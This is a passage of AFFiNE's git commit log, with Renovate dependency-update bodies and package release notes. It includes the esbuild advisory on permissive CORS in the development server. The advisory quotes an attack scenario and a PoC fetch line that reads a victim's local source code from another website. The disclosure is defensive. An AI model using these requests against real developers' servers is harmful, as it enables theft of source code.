-   `circle-small` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars-stroke` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `non-binary` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `transgender` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus-and-mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

</details>

<details>
<summary>syntax-tree/mdast-util-gfm-footnote (mdast-util-gfm-footnote)</summary>

### [`v2.1.0`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/releases/tag/2.1.0)

[Compare Source](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/compare/2.0.0...2.1.0)

##### Add

-   [`8499c82`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/8499c82) Add `firstLineBlank` option

##### Types

-   [`93e4e11`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/93e4e11) Refactor to use `@import`s
-   [`1dc664d`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/1dc664d) Add declaration maps

**Full Changelog**: https://github.com/syntax-tree/mdast-util-gfm-footnote/compare/2.0.0...2.1.0

</details>

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.2.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.2.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.2...nestjs-cls@5.2.0)

Adds backward compatibility for NestJS 10

##### Dependencies

-   allow nestjs 10 as peer dependency ([b7057cb](https://redirect.github.com/Papooch/nestjs-cls/commits/b7057cb))

##### Features

-   **core**: automatically detect fastify and express versions ([45a1be3](https://redirect.github.com/Papooch/nestjs-cls/commits/45a1be3))

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.5.2`](https://redirect.github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#852)

[Compare Source](https://redirect.github.com/postcss/postcss/compare/8.5.1...8.5.2)

-   Fixed end position of rules with semicolon (by [@&#8203;romainmenke](https://redirect.github.com/romainmenke)).

</details>

<details>
<summary>resend/react-email (react-email)</summary>

### [`v3.0.7`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#307)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.6...react-email@3.0.7)

##### Patch Changes

-   [`c61760e`](https://redirect.github.com/resend/react-email/commit/c61760e): use the `punycode` package for the static modules
-   [`382c305`](https://redirect.github.com/resend/react-email/commit/382c305): Fixes active state for root email templats on file tree
-   [`519f0c6`](https://redirect.github.com/resend/react-email/commit/519f0c6): Respect user's NODE_ENV when previewing templates
-   [`e149816`](https://redirect.github.com/resend/react-email/commit/e149816): Upgrade socket.io to 4.8.1

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.24.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8240-2025-02-10)

[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.23.0...v8.24.0)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

You can read about our [versioning strategy](https://main--typescript-eslint.netlify.app/users/versioning) and [releases](https://main--typescript-eslint.netlify.app/users/releases) on our website.

</details>

<details>
<summary>mozilla/uniffi-rs (uniffi)</summary>

### [`v0.29.0`](https://redirect.github.com/mozilla/uniffi-rs/blob/HEAD/CHANGELOG.md#v0290-backend-crates-v0290---2025-02-06)

[Compare Source](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0)

##### ⚠️ Breaking Changes ⚠️

We've made a number of breaking changes to fix long standing paper-cuts with UniFFI in multi-crate and procmacro+udl environments.

[See the detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

While **no changes are required to foreign code**, we apologize for the inconvenience!

You are impacted if you use `UniffiCustomTypeConverter` to implement "Custom types",
or use UDL with types from more than one crate.

-   `UniffiCustomTypeConverter` has been removed, you must now use the
    [`custom_type!` macro](https://mozilla.github.io/uniffi-rs/next/types/custom_types.html) instead.

-   The [UDL syntax for external types](https://mozilla.github.io/uniffi-rs/next/udl/external_types.html) has changed.
    `typedef extern MyEnum;` has been replaced
    with `typedef enum MyEnum;`. `[Custom]` and `[External]` are the only supported  attributes for a `typedef`.

-   "remote" types (where UDL can re-export a type defined in
    a non-UniFFI crate - eg, `log::Level`) must now use a
    [`[Remote]` attribute](https://mozilla.github.io/uniffi-rs/next/types/remote_ext_types.html).

-   Various `use_udl_*`/`use_remote_type` etc macros have been removed.

[Detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

-   `uniffi::generate_component_scaffolding` has been removed. It's almost certainly unused as it is
    behind the wrong feature and undocumented. `uniffi::generate_scaffolding` does exacly the same thing and is
    correctly behind the `build` feature.

##### What's new?

-   Kotlin and Swift follow Python: Proc-macros exporting an `impl Trait for Struct` block now has a class inheritance
    hierarcy to reflect that.
    [#&#8203;2297](https://redirect.github.com/mozilla/uniffi-rs/pull/2297), [#&#8203;2363](https://redirect.github.com/mozilla/uniffi-rs/pull/2363)

-   External types work much better, particularly between UDL and proc-macros. (Kotlin external errors do not work - [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392)).

-   Swift interfaces are marked as `Sendable` ([#&#8203;2318](https://redirect.github.com/mozilla/uniffi-rs/pull/2318))

-   Removed the `log` dependency and logging statements about FFI calls.  These were not really useful
    to consumers and could have high overhead when lots of FFI calls are made. Instead, the
    `ffi-trace` feature can be used to get tracing-style printouts about the FFI.

-   External errors work for Swift and Python. Kotlin does not work - see [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392).

-   Added `disable_java_cleaner` option for kotlin to allow for Java 8 compatible code

-   Proc-macros now allow Enums to hold objects ([#&#8203;1372](https://redirect.github.com/mozilla/uniffi-rs/issues/1372))

-   Swift and Kotlin make it possible to opt-out of the runtime checksum integrity tests done as the library is initialized.
    Opting out will shoot yourself in the foot if you mixup your build pipeline in any way, but might speed the initialization.
    (Python apparently hasn't made these checks for some time, so no changes there!)

##### What's changed?

-   Switching jinja template engine from askama to rinja.

-   For `wasm32` build targets, `Future`s do not have to be `Send` ([#&#8203;2418](https://redirect.github.com/mozilla/uniffi-rs/pull/2418)),
    making them compatible with `wasm-bindgen` `Future`s.

##### ⚠️ Breaking Changes for external bindings authors ⚠️

-   Added the `FfiType::MutReference` variant.

-   `Callable` trait has changed, `return_type` and `throws_type` are now references.

-   `Type::External` has been removed. Binding authors must now check the type is local themselves before
    deciding to treat it as a local or external type.

    To get a feel for the impact on the bindings, see where we [first did this for custom types](c5a437e9f3),
    and where we [then stopped using it entirely](df514fd1cc)

[All changes in v0.29.0](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 07:59:25 +00:00
fengmk2
5a63bc0e53 feat(server): wrong context setting on doc publish (#10080)
context should be `WorkspaceDocResolver`

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/0826ced9-4955-45a4-b5e7-944ae898d45e.png)
2025-02-11 06:16:51 +00:00
Yifeng Wang
53e5726d36 refactor(editor): move worker renderer to affine shared (#10081) 2025-02-11 14:16:17 +08:00
pengx17
d89d4a71dd feat(core): center peek open doc should only load doc when idle (#10023)
fix AF-2183
2025-02-11 04:56:23 +00:00
Brooooooklyn
b1d7128e2b chore: remove wrong hoistingLimits config for graphql package (#10077) 2025-02-11 04:38:53 +00:00
renovate
9f5abe6078 chore: bump up esbuild version to ^0.25.0 [SECURITY] (#10075)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99)

### Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

### Details

esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

df815ac27b/pkg/api/serve_other.go (L121)
df815ac27b/pkg/api/serve_other.go (L363)

**Attack scenario**:

1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

### PoC

1. Download [reproduction.zip](https://redirect.github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

![image](https://redirect.github.com/user-attachments/assets/08fc2e4d-e1ec-44ca-b0ea-78a73c3c40e9)

### Impact

Users using the serve feature may get the source code stolen by malicious websites.

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

### [`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250)

[Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0)

**This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more information.

-   Restrict access to esbuild's development server ([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99))

    This change addresses esbuild's first security vulnerability report. Previously esbuild set the `Access-Control-Allow-Origin` header to `*` to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in [the report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99).

    Starting with this release, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) will now be disabled, and requests will now be denied if the host does not match the one provided to `--serve=`. The default host is `0.0.0.0`, which refers to all of the IP addresses that represent the local machine (e.g. both `127.0.0.1` and `192.168.0.1`). If you want to customize anything about esbuild's development server, you can [put a proxy in front of esbuild](https://esbuild.github.io/api/#serve-proxy) and modify the incoming and/or outgoing requests.

    In addition, the `serve()` API call has been changed to return an array of `hosts` instead of a single `host` string. This makes it possible to determine all of the hosts that esbuild's development server will accept.

    Thanks to [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) for reporting this issue.

-   Delete output files when a build fails in watch mode ([#&#8203;3643](https://redirect.github.com/evanw/esbuild/issues/3643))

    It has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.

-   Fix correctness issues with the CSS nesting transform ([#&#8203;3620](https://redirect.github.com/evanw/esbuild/issues/3620), [#&#8203;3877](https://redirect.github.com/evanw/esbuild/issues/3877), [#&#8203;3933](https://redirect.github.com/evanw/esbuild/issues/3933), [#&#8203;3997](https://redirect.github.com/evanw/esbuild/issues/3997), [#&#8203;4005](https://redirect.github.com/evanw/esbuild/issues/4005), [#&#8203;4037](https://redirect.github.com/evanw/esbuild/pull/4037), [#&#8203;4038](https://redirect.github.com/evanw/esbuild/pull/4038))

    This release fixes the following problems:

    -   Naive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using `:is()` to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.

        ```css
        /* Original code */
        .parent {
          > .a,
          > .b1 > .b2 {
            color: red;
          }
        }

        /* Old output (with --supported:nesting=false) */
        .parent > :is(.a, .b1 > .b2) {
          color: red;
        }

        /* New output (with --supported:nesting=false) */
        .parent > .a,
        .parent > .b1 > .b2 {
          color: red;
        }
        ```

        Thanks to [@&#8203;tim-we](https://redirect.github.com/tim-we) for working on a fix.

    -   The `&` CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered `&&` to have the same specificity as `&`. With this release, this should now work correctly:

        ```css
        /* Original code (color should be red) */
        div {
          && { color: red }
          & { color: blue }
        }

        /* Old output (with --supported:nesting=false) */
        div {
          color: red;
        }
        div {
          color: blue;
        }

        /* New output (with --supported:nesting=false) */
        div:is(div) {
          color: red;
        }
        div {
          color: blue;
        }
        ```

        Thanks to [@&#8203;CPunisher](https://redirect.github.com/CPunisher) for working on a fix.

    -   Previously transforming nested CSS incorrectly removed leading combinators from within pseudoclass selectors such as `:where()`. This edge case has been fixed and how has test coverage.

        ```css
        /* Original code */
        a b:has(> span) {
          a & {
            color: green;
          }
        }

        /* Old output (with --supported:nesting=false) */
        a :is(a b:has(span)) {
          color: green;
        }

        /* New output (with --supported:nesting=false) */
        a :is(a b:has(> span)) {
          color: green;
        }
        ```

        This fix was contributed by [@&#8203;NoremacNergfol](https://redirect.github.com/NoremacNergfol).

    -   The CSS minifier contains logic to remove the `&` selector when it can be implied, which happens when there is only one and it's the leading token. However, this logic was incorrectly also applied to selector lists inside of pseudo-class selectors such as `:where()`. With this release, the minifier will now avoid applying this logic in this edge case:

        ```css
        /* Original code */
        .a {
          & .b { color: red }
          :where(& .b) { color: blue }
        }

        /* Old output (with --minify) */
        .a{.b{color:red}:where(.b){color:#&#8203;00f}}

        /* New output (with --minify) */
        .a{.b{color:red}:where(& .b){color:#&#8203;00f}}
        ```

-   Fix some correctness issues with source maps ([#&#8203;1745](https://redirect.github.com/evanw/esbuild/issues/1745), [#&#8203;3183](https://redirect.github.com/evanw/esbuild/issues/3183), [#&#8203;3613](https://redirect.github.com/evanw/esbuild/issues/3613), [#&#8203;3982](https://redirect.github.com/evanw/esbuild/issues/3982))

    Previously esbuild incorrectly treated source map path references as file paths instead of as URLs. With this release, esbuild will now treat source map path references as URLs. This fixes the following problems with source maps:

    -   File names in `sourceMappingURL` that contained a space previously did not encode the space as `%20`, which resulted in JavaScript tools (including esbuild) failing to read that path back in when consuming the generated output file. This should now be fixed.

    -   Absolute URLs in `sourceMappingURL` that use the `file://` scheme previously attempted to read from a folder called `file:`. These URLs should now be recognized and parsed correctly.

    -   Entries in the `sources` array in the source map are now treated as URLs instead of file paths. The correct behavior for this is much more clear now that source maps has a [formal specification](https://tc39.es/ecma426/). Many thanks to those who worked on the specification.

-   Fix incorrect package for `@esbuild/netbsd-arm64` ([#&#8203;4018](https://redirect.github.com/evanw/esbuild/issues/4018))

    Due to a copy+paste typo, the binary published to `@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in that environment. This release should fix running esbuild in that environment (NetBSD on 64-bit ARM). Sorry about the mistake.

-   Fix a minification bug with bitwise operators and bigints ([#&#8203;4065](https://redirect.github.com/evanw/esbuild/issues/4065))

    This change removes an incorrect assumption in esbuild that all bitwise operators result in a numeric integer. That assumption was correct up until the introduction of bigints in ES2020, but is no longer correct because almost all bitwise operators now operate on both numbers and bigints. Here's an example of the incorrect minification:

    ```js
    // Original code
    if ((a & b) !== 0) found = true

    // Old output (with --minify)
    a&b&&(found=!0);

    // New output (with --minify)
    (a&b)!==0&&(found=!0);
    ```

-   Fix esbuild incorrectly rejecting valid TypeScript edge case ([#&#8203;4027](https://redirect.github.com/evanw/esbuild/issues/4027))

    The following TypeScript code is valid:

    ```ts
    export function open(async?: boolean): void {
      console.log(async as boolean)
    }
    ```

    Before this version, esbuild would fail to parse this with a syntax error as it expected the token sequence `async as ...` to be the start of an async arrow function expression `async as => ...`. This edge case should be parsed correctly by esbuild starting with this release.

-   Transform BigInt values into constructor calls when unsupported ([#&#8203;4049](https://redirect.github.com/evanw/esbuild/issues/4049))

    Previously esbuild would refuse to compile the BigInt literals (such as `123n`) if they are unsupported in the configured target environment (such as with `--target=es6`). The rationale was that they cannot be polyfilled effectively because they change the behavior of JavaScript's arithmetic operators and JavaScript doesn't have operator overloading.

    However, this prevents using esbuild with certain libraries that would otherwise work if BigInt literals were ignored, such as with old versions of the [`buffer` library](https://redirect.github.com/feross/buffer) before the library fixed support for running in environments without BigInt support. So with this release, esbuild will now turn BigInt literals into BigInt constructor calls (so `123n` becomes `BigInt(123)`) and generate a warning in this case. You can turn off the warning with `--log-override:bigint=silent` or restore the warning to an error with `--log-override:bigint=error` if needed.

-   Change how `console` API dropping works ([#&#8203;4020](https://redirect.github.com/evanw/esbuild/issues/4020))

    Previously the `--drop:console` feature replaced all method calls off of the `console` global with `undefined` regardless of how long the property access chain was (so it applied to `console.log()` and `console.log.call(console)` and `console.log.not.a.method()`). However, it was pointed out that this breaks uses of `console.log.bind(console)`. That's also incompatible with Terser's implementation of the feature, which is where this feature originally came from (it does support `bind`). So with this release, using this feature with esbuild will now only replace one level of method call (unless extended by `call` or `apply`) and will replace the method being called with an empty function in complex cases:

    ```js
    // Original code
    const x = console.log('x')
    const y = console.log.call(console, 'y')
    const z = console.log.bind(console)('z')

    // Old output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (void 0)("z");

    // New output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (() => {
    }).bind(console)("z");
    ```

    This should more closely match Terser's existing behavior.

-   Allow BigInt literals as `define` values

    With this release, you can now use BigInt literals as define values, such as with `--define:FOO=123n`. Previously trying to do this resulted in a syntax error.

-   Fix a bug with resolve extensions in `node_modules` ([#&#8203;4053](https://redirect.github.com/evanw/esbuild/issues/4053))

    The `--resolve-extensions=` option lets you specify the order in which to try resolving implicit file extensions. For complicated reasons, esbuild reorders TypeScript file extensions after JavaScript ones inside of `node_modules` so that JavaScript source code is always preferred to TypeScript source code inside of dependencies. However, this reordering had a bug that could accidentally change the relative order of TypeScript file extensions if one of them was a prefix of the other. That bug has been fixed in this release. You can see the issue for details.

-   Better minification of statically-determined `switch` cases ([#&#8203;4028](https://redirect.github.com/evanw/esbuild/issues/4028))

    With this release, esbuild will now try to trim unused code within `switch` statements when the test expression and `case` expressions are primitive literals. This can arise when the test expression is an identifier that is substituted for a primitive literal at compile time. For example:

    ```js
    // Original code
    switch (MODE) {
      case 'dev':
        installDevToolsConsole()
        break
      case 'prod':
        return
      default:
        throw new Error
    }

    // Old output (with --minify '--define:MODE="prod"')
    switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw new Error}

    // New output (with --minify '--define:MODE="prod"')
    return;
    ```

-   Emit `/* @&#8203;__KEY__ */` for string literals derived from property names ([#&#8203;4034](https://redirect.github.com/evanw/esbuild/issues/4034))

    Property name mangling is an advanced feature that shortens certain property names for better minification (I say "advanced feature" because it's very easy to break your code with it). Sometimes you need to store a property name in a string, such as `obj.get('foo')` instead of `obj.foo`. JavaScript minifiers such as esbuild and [Terser](https://terser.org/) have a convention where a `/* @&#8203;__KEY__ */` comment before the string makes it behave like a property name. So `obj.get(/* @&#8203;__KEY__ */ 'foo')` allows the contents of the string `'foo'` to be shortened.

    However, esbuild sometimes itself generates string literals containing property names when transforming code, such as when lowering class fields to ES6 or when transforming TypeScript decorators. Previously esbuild didn't generate its own `/* @&#8203;__KEY__ */` comments in this case, which means that minifying your code by running esbuild again on its own output wouldn't work correctly (this does not affect people that both minify and transform their code in a single step).

    With this release, esbuild will now generate `/* @&#8203;__KEY__ */` comments for property names in generated string literals. To avoid lots of unnecessary output for people that don't use this advanced feature, the generated comments will only be present when the feature is active. If you want to generate the comments but not actually mangle any property names, you can use a flag that has no effect such as `--reserve-props=.`, which tells esbuild to not mangle any property names (but still activates this feature).

-   The `text` loader now strips the UTF-8 BOM if present ([#&#8203;3935](https://redirect.github.com/evanw/esbuild/issues/3935))

    Some software (such as Notepad on Windows) can create text files that start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the "byte order mark". This prefix is intended to be removed before using the text. Previously esbuild's `text` loader included this byte sequence in the string, which turns into a prefix of `\uFEFF` in a JavaScript string when decoded from UTF-8. With this release, esbuild's `text` loader will now remove these bytes when they occur at the start of the file.

-   Omit legal comment output files when empty ([#&#8203;3670](https://redirect.github.com/evanw/esbuild/issues/3670))

    Previously configuring esbuild with `--legal-comment=external` or `--legal-comment=linked` would always generate a `.LEGAL.txt` output file even if it was empty. Starting with this release, esbuild will now only do this if the file will be non-empty. This should result in a more organized output directory in some cases.

-   Update Go from 1.23.1 to 1.23.5 ([#&#8203;4056](https://redirect.github.com/evanw/esbuild/issues/4056), [#&#8203;4057](https://redirect.github.com/evanw/esbuild/pull/4057))

    This should have no effect on existing code as this version change does not change Go's operating system support. It may remove certain reports from vulnerability scanners that detect which version of the Go compiler esbuild uses.

    This PR was contributed by [@&#8203;MikeWillCook](https://redirect.github.com/MikeWillCook).

-   Allow passing a port of 0 to the development server ([#&#8203;3692](https://redirect.github.com/evanw/esbuild/issues/3692))

    Unix sockets interpret a port of 0 to mean "pick a random unused port in the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port) range". However, esbuild's default behavior when the port is not specified is to pick the first unused port starting from 8000 and upward. This is more convenient because port 8000 is typically free, so you can for example restart the development server and reload your app in the browser without needing to change the port in the URL. Since esbuild is written in Go (which does not have optional fields like JavaScript), not specifying the port in Go means it defaults to 0, so previously passing a port of 0 to esbuild caused port 8000 to be picked.

    Starting with this release, passing a port of 0 to esbuild when using the CLI or the JS API will now pass port 0 to the OS, which will pick a random ephemeral port. To make this possible, the `Port` option in the Go API has been changed from `uint16` to `int` (to allow for additional sentinel values) and passing a port of -1 in Go now picks a random port. Both the CLI and JS APIs now remap an explicitly-provided port of 0 into -1 for the internal Go API.

    Another option would have been to change `Port` in Go from `uint16` to `*uint16` (Go's closest equivalent of `number | undefined`). However, that would make the common case of providing an explicit port in Go very awkward as Go doesn't support taking the address of integer constants. This tradeoff isn't worth it as picking a random ephemeral port is a rare use case. So the CLI and JS APIs should now match standard Unix behavior when the port is 0, but you need to use -1 instead with Go API.

-   Minification now avoids inlining constants with direct `eval` ([#&#8203;4055](https://redirect.github.com/evanw/esbuild/issues/4055))

    Direct `eval` can be used to introduce a new variable like this:

    ```js
    const variable = false
    ;(function () {
      eval("var variable = true")
      console.log(variable)
    })()
    ```

    Previously esbuild inlined `variable` here (which became `false`), which changed the behavior of the code. This inlining is now avoided, but please keep in mind that direct `eval` breaks many assumptions that JavaScript tools hold about normal code (especially when bundling) and I do not recommend using it. There are usually better alternatives that have a more localized impact on your code. You can read more about this here: https://esbuild.github.io/link/direct-eval/

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 04:09:28 +00:00
Table bird
589fc32746 build: fix install homebrew error of abort "Don't run this as root!" (#10076) 2025-02-11 12:08:56 +08:00
fengmk2
c8c7b7b65c feat(server): use x-cloud-trace-context instead of x-rpc-trace-id (#10068)
x-cloud-trace-context will be overwritten by lb,
and cannot be fake from internet access request

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/6d3c47c1-ac9e-4bc9-a7f1-2be8f56dbf69.png)
2025-02-11 03:50:23 +00:00
Yifeng Wang
f7335d8cb6 refactor(editor): switch worker renderer debug ui to tweakpane (#10074) 2025-02-11 11:13:32 +08:00
pengx17
c5c59ba00a fix(core): adjust settings names (#10061)
fix AF-2190
2025-02-11 02:14:10 +00:00
fengmk2
7214ef9fbc fix(server): only handle doc.snapshot.updated event on renderer (#10062)
before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/0345e2e0-85fb-45a2-a917-be0cb1731907.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/fd49d1b4-2970-4b86-aca1-4c40da3d0988.png)
2025-02-11 00:18:08 +00:00
doodlewind
9bf1e38e94 chore(editor): simplify legacy playground build config (#10044)
This should allow for simpler migration of the `@blocksuite/playground` vite environment.
2025-02-10 23:38:40 +00:00
Saul-Mirone
c6b8f2b584 refactor(editor): flat data for table block (#10010)
close: BS-2548
2025-02-10 19:09:33 +00:00
L-Sun
a5f36eb1d8 refactor(editor): configurable page block title (#10063)
### What changes
- make page block title rendering configurable so that a journal title can be rendered by AFFiNE side.
- move page block render logic to a seperate component
2025-02-10 18:17:28 +00:00
pengx17
fd25cd875b feat: focus the create page item when query returns no result in at menu (#10060)
fix AF-2191
2025-02-10 15:51:56 +00:00
CatsJuice
f774868f0e feat(core): make some tabs in sidebar persistent for all docs page (#10014)
close AF-2164

![CleanShot 2025-02-07 at 14.23.36.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/deb15a06-32e9-40bf-8a15-07a3c2fa8227.gif)
2025-02-10 14:58:27 +00:00
zzj3720
c78d6b81c6 feat(editor): table block supports drag-and-drop sorting (#10065)
close: BS-2477
2025-02-10 14:14:53 +00:00
renovate
964f2e1bfd chore: bump up nestjs (#10059)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
